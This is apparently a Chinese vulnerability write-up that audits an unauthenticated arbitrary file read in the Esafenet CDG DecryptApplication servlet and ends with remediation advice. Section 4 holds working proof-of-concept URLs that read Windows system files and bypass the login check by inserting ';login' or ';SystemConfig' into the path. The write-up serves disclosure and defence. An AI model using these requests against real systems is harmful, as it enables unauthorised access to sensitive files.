亿赛通 DecryptApplication 任意文件读取漏洞逆向代码审计
字数 1813 2025-11-21 12:31:03
亿赛通 DecryptApplication 任意文件读取漏洞分析与复现
一、系统介绍
亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。
二、项目构成
该系统为传统的基于 Servlet+JSP+自定义控制器实现的JavaWeb项目,没有使用Maven管理依赖,也没有pom.xml文件。
三、漏洞分析
3.1 漏洞定位
通过公开POC得知漏洞URL为:https://127.0.0.1/CDGServer3/client/DecryptApplication
在web.xml中查找对应的Servlet映射路径,发现/client/DecryptApplication映射到com.esafenet.servlet.client.DecryptApplicationService类。
3.2 代码审计流程
3.2.1 DecryptApplicationService类分析
- 该类继承WebController
- 包含
actionViewUploadFile方法,负责文件下载功能
3.2.2 WebController权限校验机制
// 主要操作流程:
1. 反射调用方法,将action拼接至command参数值
2. 获取command、fromurl参数,判断表单是否重复提交
3. 通过request.getRequestURI()获取uri,赋值给clienturl
4. 权限判断条件:uri不为空且包含login或SystemConfig || loginMng不为空且保持登录状态
5. 不满足条件则重定向至/loginExpire.jsp
关键问题:使用request.getRequestURI()方法进行权限判断存在缺陷,易被绕过。
3.2.3 actionViewUploadFile方法分析
方法接收三个参数:
uploadFileId:数据库中存储的文件IDfileName1:下载时显示给用户的文件名filePath:服务器上的实际文件路径(漏洞关键参数)
3.2.4 downLoadFile方法分析
- 仅对
uploadFileId进行空值检查 - 使用
filePath直接构造File对象 - 检查文件存在性后调用
CDGUtil.downFile下载
3.2.5 漏洞根源
filePath参数完全用户可控- 无任何危险字符过滤或路径校验
- 结合权限绕过可实现任意文件读取
四、漏洞复现
4.1 基础POC
https://127.0.0.1/CDGServer3/client/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1
4.2 权限绕过技术
由于权限校验使用request.getRequestURI(),可通过分号实现绕过:
有效POC:
https://127.0.0.1/CDGServer3/client/;login/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1https://127.0.0.1/CDGServer3/client/;SystemConfig/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1
4.3 请求方式
- 支持GET和POST请求
- RsDispatcherServlet类中doGet方法实际调用doPost方法
五、修复建议
- 输入验证:对
filePath参数进行严格校验,限制路径访问范围 - 权限校验改进:避免使用
request.getRequestURI()进行敏感操作权限判断 - 路径规范化:对文件路径进行规范化处理,防止目录遍历
- 访问控制:实施基于角色的访问控制机制
- 版本升级:及时更新至官方安全版本
- 网络隔离:限制系统外网访问权限
六、技术总结
6.1 漏洞链
- 权限绕过:通过分号注入
;login或;SystemConfig绕过URI检测 - 参数控制:
filePath参数完全用户可控且无过滤 - 文件操作:直接使用用户输入路径进行文件读取操作
6.2 漏洞特点
- 利用简单,无需认证即可读取系统任意文件
- 影响范围广,可获取敏感配置文件
- 结合其他漏洞可能造成更严重影响
6.3 审计要点
- 关注文件操作相关的用户输入参数
- 检查权限校验逻辑的完整性
- 验证路径遍历防护措施的有效性
- 测试特殊字符的过滤情况
七、参考资源
- 原文链接:https://axsec.blog.csdn.net/article/details/136689742
注:本文仅用于安全研究和教学目的,请勿用于非法用途。